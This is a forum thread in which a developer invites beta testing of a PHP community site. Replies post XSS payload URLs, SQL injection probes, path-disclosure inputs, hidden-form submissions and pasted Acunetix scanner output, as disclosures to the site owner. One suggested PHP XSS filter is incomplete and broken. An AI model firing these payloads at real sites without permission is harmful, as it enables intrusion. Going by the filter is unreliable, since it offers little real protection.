Jump to content

Online Community BETA test (updated)

shank888

By shank888
in Beta Test Your Stuff!

 Share

Recommended Posts

shank888 Member

shank888

Posted
Posted

Hey All,

 

Just added a modify post feature as well a post ranking system (stars on user profiel). I have fixed a few other errors you guys have posted. If you don't mind testing these new features it would be great! If you are making a testing account and don't plan to come back please put you're username then _test, that way we don't waste database space.

 

link: http://www.babble-net.com

 

Thanx

Link to comment
Share on other sites
agentsteal Newbie

agentsteal

Posted
Posted

Cross Site Scripting:

http://www.babble-net.com/?action=NewThread2&id=<marquee><h1>vulnerable</marquee>

 

Cross Site Scripting:

http://www.babble-net.com/info.php?<script>alert('vulnerable')</script>

 

Full Path Disclosure:

http://www.babble-net.com/?action=NewThread2&id[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ThreadSystem.php on line 29

 

Full Path Disclosure:

http://www.babble-net.com/?action=Reply2&id[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ThreadSystem.php on line 426

 

Full Path Disclosure:

http://www.babble-net.com/?action=Reply2&pid[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ThreadSystem.php on line 425

 

Full Path Disclosure:

http://www.babble-net.com/?action=usercp&user[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/MemberSystem_Includes/Members_usercp.php on line 48

 

Full Path Disclosure:

http://www.babble-net.com/?action=ViewBoard&id[]

Warning: Illegal offset type in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ViewBoard.php on line 20

 

Warning: Illegal offset type in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ViewBoard.php on line 21

 

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ViewBoard.php on line 68

 

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ViewBoard.php on line 160

 

Full Path Disclosure:

http://www.babble-net.com/?action=ViewThread&id[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ThreadSystem.php on line 93

 

Full Path Disclosure:

http://www.babble-net.com/?action=ViewThread&pid[]

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/.pouka/babblenet/babble-net.com/PostSystem_Includes/forum_ThreadSystem.php on line 92

 

Full Path Disclosure:

http://www.babble-net.com/info.php

 

SQL Injection:

http://www.babble-net.com/?action=NewThread2&id=a AND 1=1

http://www.babble-net.com/?action=NewThread2&id=a AND 1=2

Link to comment
Share on other sites
source Newbie

source

Posted
Posted

http://www.babble-net.com/?action=ViewBoard&id=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

 

errors...

 

and wtf you have some funky crap going on... I go to try and exploite it and I get some weird ass error and can not look @ forums anymore, unless I make a new account

 

 

http://www.babble-net.com/?action=ViewThread&id=48&pid=%22%3E%3Cscript%3Ealert(1);%3C/script%3E

1) xss

2) uhm wtf is up with your sql ?

 

 

http://www.babble-net.com/?action=ViewThread&id=48&pid=1973638458

 

(notice: I posted it as a blank user... hmm.. lemme try changing name to admin)

 

start using sessions for *EVERYTHING*... I change my cookie (get some error) and lawl @ it because it doesnt do anything...

Link to comment
Share on other sites
AbydosGater Advanced Member

AbydosGater

Posted
Posted

Agent Steal: You seem to be very good at the whole finding XSS points! Nice work.. Also intreging idea on searching for directorys.. But i doubt anyone else would do that.

(Another tip:Try adding all your XSS points to one post, modify your post and add it at the end rather then posting 7 - 8 times)

 

Shank888.. You really need to write a class or some functions to check and handle all data that is using GET methods!

 

Andy

Link to comment
Share on other sites
  • 2 weeks later...
lmth Newbie

lmth

Posted
Posted

I was playing around with your php there. My username is 1234a

 

Dont hold it against me but I hate using java injection. AND since I don't rly need it here, I wanna make forms.

 

Alot of people were trying to what looked like create their own form and submit their own data. Looked like people were trying to strech out your page with the subjects of the posts...

 

Check it out:

<form action="http://www.babble-net.com/?action=NewThread2&id=48" method="post">
<input name="subject" size="73" maxlength="1000" type="hidden" value="icandoanythingyoucandobettericandoanythingyoucandobettericandoanythingyoucandobettericandoanythingyoucandobettericandoanythingyoucandobetter">
<input value="Submit" type="submit"></form>

With this code you can keep submitting data to the website as new forum topics. uh-oes.

Key: no spaces baby.

 

Another thing I found was how I could easily submit data without question. I changed my gender to 1/2

 

<form action="http://www.babble-net.com/?action=usercp&user=1234b&saction=modprofile2" 
method="post"><input name="gender" value="½" type="hidden"><input type="submit"></form>

 

That would only work for me if I had my text editor save the html file as unicode instead of ANSI. Ansi makes a cool questionmark in a box haha.

 

I played with the cookies too, and this was the error:

牅潲㩲䐠低⁔摥瑩琠敨挠潯楫獥甠敳⁤潦⁲桴⁥敷獢瑩

 

GoogleTranslated:

Yong tomatoes 㩲 䐠  low ⁔ Tang Ying got torsion Au Tou oar Jiaoqingai ⁤ flooded ⁥ ⁲ beam deposition Xiao Ying

 

 

lol

Link to comment
Share on other sites
  • 2 weeks later...
shank888 Member

shank888

Posted
  • Author
Posted

yong tomatoes, haha, I am redoing the posting system, hopefully it will be more secure and should be easier , in the future to add more stuff to it. Just wanted to thank you guys alot for testing my script(s).

 

stayed tuned for a new update

Link to comment
Share on other sites
  • 2 weeks later...
  • 3 months later...
helraizer Regular Member

helraizer

Posted
Posted

http://www.babble-net.com/?action=ViewThread&id=48&pid=%22%3E%3Cscript%3Ewhile(true)alert(1);%3C/script%3E - XSS - can be sticky business if done maliciously.

 

Layout: Your avatars and names etc.. are on the right hand side of the page. People tend to find it easier to see on the left.

 

As a way to stop [] arrays or XSS '><"/%@ etc.. it is quite simple.

 

A code I made and therefore use is:

 

<?php
if (stristr($_SERVER['PHP_SELF'], "'") || stristr($_SERVER['PHP_SELF'], '"') ||
stristr($_SERVER['PHP_SELF'], '<') || stristr($_SERVER['PHP_SELF'], '>') ||
    stristr($_SERVER['PHP_SELF'], '/')) {
    echo "No XSS today, thank you"; //or any other message
?>

 

That stops anyone from adding XSS to the $_GET variables in the URL of the site.

 

Sam

Link to comment
Share on other sites
  • 7 months later...
darkfreaks Advanced Member

darkfreaks

Posted
Posted

User credentials are sent in clear text

 

The impact of this vulnerability

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

 

How to fix this vulnerability

Because user credentials usually are considered sensitive information, it is recommended to be sent to the server over an encrypted connection.

Password type input with autocomplete enabled

The impact of this vulnerability

Possible sensitive information disclosure

 

How to fix this vulnerability

The password autocomplete should be disabled in sensitive applications.

To disable autocomplete, you may use a code similar to:

<INPUT TYPE="password" AUTOCOMPLETE="off">

 

 

 

 

 

 

Link to comment
Share on other sites
darkfreaks Advanced Member

darkfreaks

Posted
Posted

Vulnerability description

This alert was generated using only banner information. It may be a false positive.

 

A stack-based buffer overflow has been reported in the Apache mod_ssl module. This issue would most likely result in a denial of service if triggered, but could theoretically allow for execution of arbitrary code. The issue is not believed to be exploitable to execute arbitrary code on x86 architectures, though this may not be the case with other architectures.

 

Affected mod_ssl versions (up to 2.8.17).

 

This vulnerability affects mod_ssl.

The impact of this vulnerability

Denial of service and/or possible arbitrary code execution.

 

Attack details

Current version is mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 Phusion_Passenger/1.9.1 PHP/4.4.8

 

How to fix this vulnerability

Upgrade mod_ssl to the latest version.

 

Link to comment
Share on other sites
darkfreaks Advanced Member

darkfreaks

Posted
Posted

Vulnerability description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

 

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

This vulnerability affects /.

The impact of this vulnerability

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

 

Attack details

The GET variable id has been set to <script>alert(39719.6994824421)</script>.

 

View HTTP headers

Request

GET /?action=ViewThread&id=<script>alert(39719.6994824421)</script> HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

Host: www.babble-net.com

Connection: Close

Pragma: no-cache

Acunetix-Product: WVS/5.0 (Acunetix Web Vulnerability Scanner - EVALUATION)

Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htmResponse

HTTP/1.1 200 OK

Date: Wed, 09 Jul 2008 21:48:57 GMT

Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 Phusion_Passenger/1.9.1

X-Powered-By: PHP/4.4.8

Vary: Accept-Encoding

Connection: close

Content-Type: text/html View HTML response

Launch the attack with HTTP Editor

How to fix this vulnerability

Your script should filter metacharacters from user input.

Detailed information

Click here for more detailed information about this vulnerability

Quote from The Cross Site Scripting FAQ - http://www.cgisecurity.com/articles/xss-faq.shtml

Introduction

Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved through the use of web applications which can deliver different output to a user depending on their settings and needs. Dynamic websites suffer from a threat that static websites don't, called "Cross Site Scripting" (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explain them to an average person or administrator. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention.

 

"What is Cross Site Scripting?"

Cross site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink which contains malicious content within it. The user will most likely click on this link from another website, instant message, or simply just reading a web board or email message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website. Many popular guestbook and forum programs allow users to submit posts with html and javascript embedded in them. If for example I was logged in as "john" and read a message by "joe" that contained malicious javascript in it, then it may be possible for "joe" to hijack my session just by reading his bulletin board post. Further details on how attacks like this are accomplished via "cookie theft" are explained in detail below.

 

"What does XSS and CSS mean?"

Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say "I found a XSS hole", they are talking about Cross Site Scripting for certain.

 

"What are the threats of Cross Site Scripting?"

Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user (Read below for further details) in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses are being found every day for XSS attacks. The post below by Brett Moore brings up a good point with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply reads a post on a message board.

 

"What can I do to protect myself as a vendor?"

This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to &#40; and &#41;, and also # and & by translating them to &#35 (#) and &#38 (&).

 

"What can I do to protect myself as a user?"

The easiest way to protect yourself as a user is to only follow links from the main website you wish to view. If you visit one website and it links to CNN for example, instead of clicking on it visit CNN's main site and use its search engine to find the content. This will probably eliminate ninety percent of the problem. Sometimes XSS can be executed automatically when you open an email, email attachment, read a guestbook, or bulletin board post. If you plan on opening an email, or reading a post on a public board from a person you don't know BE CAREFUL. One of the best ways to protect yourself is to turn off Javascript in your browser settings. In IE turn your security settings to high. This can prevent cookie theft, and in general is a safer thing to do.

 

"How common are XSS holes?"

Cross site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.

 

Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.

 

"Does encryption protect me?"

Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. People often think that because they see the lock on their browser it means everything is secure. This just isn't the case.

 

"Can XSS holes allow command execution?"

XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker were to exploit a browser flaw (browser hole) it could then be possible to execute commands on the client's side. If command execution were possible it would only be possible on the client side. In simple terms XSS holes can be used to help exploit other holes that may exist in your browser.

 

"What if I don't feel like fixing a CSS/XSS Hole?"

By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left unrepaired, someone may discover it and publish a warning about your company. This may damage your company's reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you aren't dealing with every problem that arises, which turns into a trust issue. If your client doesn't trust you why would they wish to do business with you?

 

 

Web references

Acunetix Cross Site Scripting Attack

Security Focus - Penetration Testing for Web Applications (Part Two)

The Cross Site Scripting Faq

OWASP Cross Site Scripting

XSS Annihilation

XSS cheat sheet

PHP XSS (cross site scripting) filter function

Cross site scripting

OWASP PHP Top 5

ASP.NET Unicode Character Conversion XSS

Microsoft ASP.NET request filtering flaw

Cross Site Scripting

Vulnerability description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

 

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

This vulnerability affects /.

The impact of this vulnerability

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

 

Attack details

The GET variable id has been set to <script>alert(39739.6994889352)</script>.

 

View HTTP headers

Request

GET /?action=ViewThread&id=<script>alert(39739.6994889352)</script>&pid=1671744636 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

Host: www.babble-net.com

Connection: Close

Pragma: no-cache

Acunetix-Product: WVS/5.0 (Acunetix Web Vulnerability Scanner - EVALUATION)

Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED

Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htmResponse

HTTP/1.1 200 OK

Date: Wed, 09 Jul 2008 21:49:16 GMT

Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 Phusion_Passenger/1.9.1

X-Powered-By: PHP/4.4.8

Vary: Accept-Encoding

Connection: close

Content-Type: text/html View HTML response

Launch the attack with HTTP Editor

How to fix this vulnerability

Your script should filter metacharacters from user input.

 

Link to comment
Share on other sites
 Share
Go to topic listing
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.